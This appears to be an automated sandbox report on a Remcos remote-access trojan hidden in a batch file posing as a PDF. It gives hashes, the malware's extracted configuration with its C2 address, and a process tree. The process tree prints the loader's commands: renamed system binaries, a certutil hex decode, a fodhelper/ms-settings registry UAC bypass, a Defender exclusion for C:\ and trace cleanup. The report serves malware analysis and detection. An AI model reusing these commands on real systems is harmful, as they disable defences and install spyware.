Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-05-2024 17:42

General

  • Target

    CDE_2049084470_PDF.cmd

  • Size

    4.3MB

  • MD5

    5195a3d6627e770e3324548c567c8472

  • SHA1

    125ff038969a23bfff04b9af006837b594548bee

  • SHA256

    72fc83042393e2a055a3a10e1ee35367957aa2ed02be67ca61e472ddf16a42cc

  • SHA512

    8d1cb56fac1c5a884d9bec97b13742d3419f5923e6c909368ea55a7bfcd2d2ca18cd9be16bdfd69e3cc861d1e97fbcb68dfe711cebfaaa7c057c8fdc4cf09227

  • SSDEEP

    24576:WakXdieqvCLukUWOJWEs2UK1lxu223QJyTBDJYBHX063u9ipNimFDp:WaMd4v4ui+Fs2F23QJeN+HzpNimFDp

Malware Config

Extracted

Family

remcos

Botnet

DodoCrypt

C2

172.208.52.39:5404

172.208.52.39:5403

172.208.52.39:5402

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    true

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    xvxx.dat

  • keylog_flag

    false

  • keylog_path

    %UserProfile%

  • mouse_option

    false

  • mutex

    roasazxasasacvxzx-FQHYSN

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • startup_value

    

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 25 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies registry class 5 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\CDE_2049084470_PDF.cmd"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3956
    • C:\Windows\System32\extrac32.exe
      C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
      2⤵
        PID:2768
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
        2⤵
        • Executes dropped EXE
        PID:1840
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
        2⤵
        • Executes dropped EXE
        PID:4524
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:3720
        • C:\Windows\system32\extrac32.exe
          extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
          3⤵
            PID:3920
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\CDE_2049084470_PDF.cmd" "C:\\Users\\Public\\Ping_c.mp4" 9
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:4436
          • C:\Users\Public\kn.exe
            C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\CDE_2049084470_PDF.cmd" "C:\\Users\\Public\\Ping_c.mp4" 9
            3⤵
            • Executes dropped EXE
            PID:4472
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:3836
          • C:\Windows\system32\extrac32.exe
            extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
            3⤵
              PID:1152
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
            2⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:464
            • C:\Windows\system32\extrac32.exe
              extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
              3⤵
                PID:1116
            • C:\Users\Public\alpha.exe
              C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
              2⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:3492
              • C:\Windows\system32\extrac32.exe
                extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                3⤵
                  PID:3440
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                2⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:3924
                • C:\Users\Public\xkn.exe
                  C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                  3⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:1580
                  • C:\Users\Public\alpha.exe
                    "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                    4⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:4688
                    • C:\Users\Public\ger.exe
                      C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                      5⤵
                      • Executes dropped EXE
                      • Modifies registry class
                      PID:2640
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Ping_c.mp4" "C:\\Users\\Public\\Libraries\\Ping_c.pif" 12
                2⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:2168
                • C:\Users\Public\kn.exe
                  C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Ping_c.mp4" "C:\\Users\\Public\\Libraries\\Ping_c.pif" 12
                  3⤵
                  • Executes dropped EXE
                  PID:4948
              • C:\Windows \System32\per.exe
                "C:\\Windows \\System32\\per.exe"
                2⤵
                • Checks computer location settings
                • Executes dropped EXE
                PID:1716
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
                2⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:2348
                • C:\Windows\system32\taskkill.exe
                  taskkill /F /IM SystemSettings.exe
                  3⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:972
              • C:\Users\Public\Libraries\Ping_c.pif
                C:\Users\Public\Libraries\Ping_c.pif
                2⤵
                • Executes dropped EXE
                • Adds Run key to start application
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:5108
                • C:\Windows\SysWOW64\extrac32.exe
                  C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\Ping_c.pif C:\\Users\\Public\\Libraries\\Ajpvmhll.PIF
                  3⤵
                    PID:4832
                  • C:\Windows\SysWOW64\colorcpl.exe
                    C:\Windows\System32\colorcpl.exe
                    3⤵
                      PID:3104
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"
                    2⤵
                    • Executes dropped EXE
                    PID:4312
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"
                    2⤵
                    • Executes dropped EXE
                    PID:1328
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"
                    2⤵
                    • Executes dropped EXE
                    PID:4900
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\per.exe" / A / F / Q / S
                    2⤵
                    • Executes dropped EXE
                    PID:4328
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S
                    2⤵
                    • Executes dropped EXE
                    PID:4304
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
                    2⤵
                    • Executes dropped EXE
                    PID:1512
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\Ping_c.mp4" / A / F / Q / S
                    2⤵
                    • Executes dropped EXE
                    PID:4980
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S
                    2⤵
                    • Executes dropped EXE
                    PID:1888
                • C:\Windows\system32\SystemSettingsAdminFlows.exe
                  "C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper
                  1⤵
                    PID:512

                  Network

                  MITRE ATT&CK Matrix ATT&CK v13

                  Persistence

                  Boot or Logon Autostart Execution

                  1
                  T1547

                  Registry Run Keys / Startup Folder

                  1
                  T1547.001

                  Privilege Escalation

                  Boot or Logon Autostart Execution

                  1
                  T1547

                  Registry Run Keys / Startup Folder

                  1
                  T1547.001

                  Defense Evasion

                  Modify Registry

                  1
                  T1112

                  Discovery

                  Query Registry

                  1
                  T1012

                  System Information Discovery

                  1
                  T1082

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mrw5qjmo.d15.ps1
                    Filesize

                    60B

                    MD5

                    d17fe0a3f47be24a6453e9ef58c94641

                    SHA1

                    6ab83620379fc69f80c0242105ddffd7d98d5d9d

                    SHA256

                    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                    SHA512

                    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                  • C:\Users\Public\Libraries\Ping_c.pif
                    Filesize

                    1.4MB

                    MD5

                    862ec8f0a0002cc3b0502e93c4792352

                    SHA1

                    4476abb751d3aeec51640a834d19b41ee2292294

                    SHA256

                    361dbf76c3112e241e481b64f34c87fa3dff28b4163d7322b8fe13efe9bd50d1

                    SHA512

                    6a05c4724e8d562875ff640ee3ec6a91bd2cc3083d3f11d8a4851f32213d9b0616036bbda0e63c555a52c1a17050e6d8f255ee0f91c09a566838eab9cec02c84

                  • C:\Users\Public\Ping_c.mp4
                    Filesize

                    2.9MB

                    MD5

                    2b435eb7bbaaa6e99a9468226ebe8b0a

                    SHA1

                    3934a355cf727cf96bcc110c6c9b77bd0750f905

                    SHA256

                    d48e5ea7e6b2acbc125f0669a816755e6fff45fa03b476cbfe458cfd4ff7bd71

                    SHA512

                    9479f545936a3a8510f49a801a4c124a733f149e5c439e5dc550c5de7d15e682e6568102195935e874b46f1907613867265ccfb9b8c9e5daa6b73e0918df3db3

                  • C:\Users\Public\alpha.exe
                    Filesize

                    283KB

                    MD5

                    8a2122e8162dbef04694b9c3e0b6cdee

                    SHA1

                    f1efb0fddc156e4c61c5f78a54700e4e7984d55d

                    SHA256

                    b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

                    SHA512

                    99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

                  • C:\Users\Public\ger.exe
                    Filesize

                    75KB

                    MD5

                    227f63e1d9008b36bdbcc4b397780be4

                    SHA1

                    c0db341defa8ef40c03ed769a9001d600e0f4dae

                    SHA256

                    c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d

                    SHA512

                    101907b994d828c83587c483b4984f36caf728b766cb7a417b549852a6207e2a3fe9edc8eff5eeab13e32c4cf1417a3adccc089023114ea81974c5e6b355fed9

                  • C:\Users\Public\kn.exe
                    Filesize

                    1.6MB

                    MD5

                    bd8d9943a9b1def98eb83e0fa48796c2

                    SHA1

                    70e89852f023ab7cde0173eda1208dbb580f1e4f

                    SHA256

                    8de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2

                    SHA512

                    95630fdddad5db60cc97ec76ee1ca02dbb00ee3de7d6957ecda8968570e067ab2a9df1cc07a3ce61161a994acbe8417c83661320b54d04609818009a82552f7b

                  • C:\Users\Public\xkn.exe
                    Filesize

                    442KB

                    MD5

                    04029e121a0cfa5991749937dd22a1d9

                    SHA1

                    f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

                    SHA256

                    9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

                    SHA512

                    6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

                  • C:\Windows \System32\per.exe
                    Filesize

                    48KB

                    MD5

                    85018be1fd913656bc9ff541f017eacd

                    SHA1

                    26d7407931b713e0f0fa8b872feecdb3cf49065a

                    SHA256

                    c546e05d705ffdd5e1e18d40e2e7397f186a7c47fa5fc21f234222d057227cf5

                    SHA512

                    3e5903cf18386951c015ae23dd68a112b2f4b0968212323218c49f8413b6d508283cc6aaa929dbead853bd100adc18bf497479963dad42dfafbeb081c9035459

                  • memory/1580-36-0x00000171DFED0000-0x00000171DFEF2000-memory.dmp
                    Filesize

                    136KB

                  • memory/3104-81-0x0000000003F20000-0x0000000004F20000-memory.dmp
                    Filesize

                    16.0MB

                  • memory/3104-90-0x0000000015D40000-0x0000000015DC2000-memory.dmp
                    Filesize

                    520KB

                  • memory/3104-87-0x0000000015D40000-0x0000000015DC2000-memory.dmp
                    Filesize

                    520KB

                  • memory/3104-101-0x0000000015D40000-0x0000000015DC2000-memory.dmp
                    Filesize

                    520KB

                  • memory/3104-86-0x0000000015D40000-0x0000000015DC2000-memory.dmp
                    Filesize

                    520KB

                  • memory/3104-88-0x0000000015D40000-0x0000000015DC2000-memory.dmp
                    Filesize

                    520KB

                  • memory/3104-89-0x0000000015D40000-0x0000000015DC2000-memory.dmp
                    Filesize

                    520KB

                  • memory/3104-83-0x0000000015D40000-0x0000000015DC2000-memory.dmp
                    Filesize

                    520KB

                  • memory/3104-91-0x0000000015D40000-0x0000000015DC2000-memory.dmp
                    Filesize

                    520KB

                  • memory/3104-93-0x0000000015D40000-0x0000000015DC2000-memory.dmp
                    Filesize

                    520KB

                  • memory/3104-97-0x0000000015D40000-0x0000000015DC2000-memory.dmp
                    Filesize

                    520KB

                  • memory/3104-96-0x0000000015D40000-0x0000000015DC2000-memory.dmp
                    Filesize

                    520KB

                  • memory/3104-98-0x0000000015D40000-0x0000000015DC2000-memory.dmp
                    Filesize

                    520KB

                  • memory/3104-99-0x0000000015D40000-0x0000000015DC2000-memory.dmp
                    Filesize

                    520KB

                  • memory/3104-100-0x0000000015D40000-0x0000000015DC2000-memory.dmp
                    Filesize

                    520KB

                  • memory/5108-75-0x0000000000400000-0x0000000000578000-memory.dmp
                    Filesize

                    1.5MB